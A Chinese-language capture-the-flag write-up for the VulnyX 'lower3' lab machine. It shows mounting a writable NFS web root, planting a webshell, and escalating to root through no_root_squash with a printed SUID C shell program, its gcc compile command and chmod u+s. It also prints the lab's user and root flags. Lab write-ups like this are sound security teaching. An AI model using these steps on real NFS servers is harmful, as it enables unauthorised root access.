vulnyx lower3 writeup

信息收集

arp-scan

nmap

获取userFlag

web上还是什么都没有,这里可以看到开放了一个2049,对应的服务是nfs(网络文件系统),我们可以通过showmount看一下可以挂载哪些目录

通过mount将它挂载到我们本地

mount -t nfs 192.168.43.44:/var/www/html /mnt

成功挂载过来了,试试能不能写入

能写入,那下一步的思路就是写一个webshell,然后访问,反弹一个shell回来。

成功访问到了,然后就反弹shell和稳定shell

然后去low的家目录下就可以拿到userflag了

userflag:eed0bec06e4dc67b60d8bd762a843d75

获取rootFlag

我们去/var/www/html里ls看一下

可以看到刚才我们写入的两个文件在服务器上都是root权限的,查看nfs服务的配置文件/etc/exports:

可以看到它启用了no_root_squash选项,这个选项的作用如下:

1. 默认设置(未启用no_root_squash)

当客户端以root用户访问NFS共享时,服务器会将客户端的权限降级为匿名用户的权限(通常是 nobodynfsnobody)。 

2. 启用no_root_squash后 

当客户端以root用户访问NFS共享时,保持root权限,同时若能够写入,写入的文件的权限也将是root的

因此这里我们可以通过c写一段执行bash的代码,然后给它suid权限,这样我们执行该脚本就可以获得一个root shell了 ,c代码如下(这里的代码不会的话直接让AI写就行):

#include <unistd.h>
#include <stdio.h>
 
int main() {
    char *args[] = {"/bin/bash", "-p", NULL}; // 参数列表(必须以NULL结尾)
    
    // 使用execve执行/bin/bash 
    if (execve("/bin/bash", args, NULL) == -1) {
        perror("execve failed");
        return 1;
    }
    
    // 如果execve成功,以下代码不会执行 
    return 0;
}

这里需要加上-p选项跳过检查,否则执行后bash会检查euid和uid是否相同,不相同的话会降级到uid对应的权限,而不会使用euid的权限。

然后为了避免由于gcc版本不兼容导致的执行失败,我们这里采用静态编译的方式:

gcc -static shell.c -o /mnt/shell

 然后通过 chmod u+s shell 的方式给它赋予suid权限

然后执行即可拿到root shell

然后去/root下就可以拿到rootFlag了

rootflag:da0a4e93754fe6808c69909fe8c36a54

posted @ 2025-06-05 10:42  sky2dawn  阅读(8)  评论(0)    收藏  举报  来源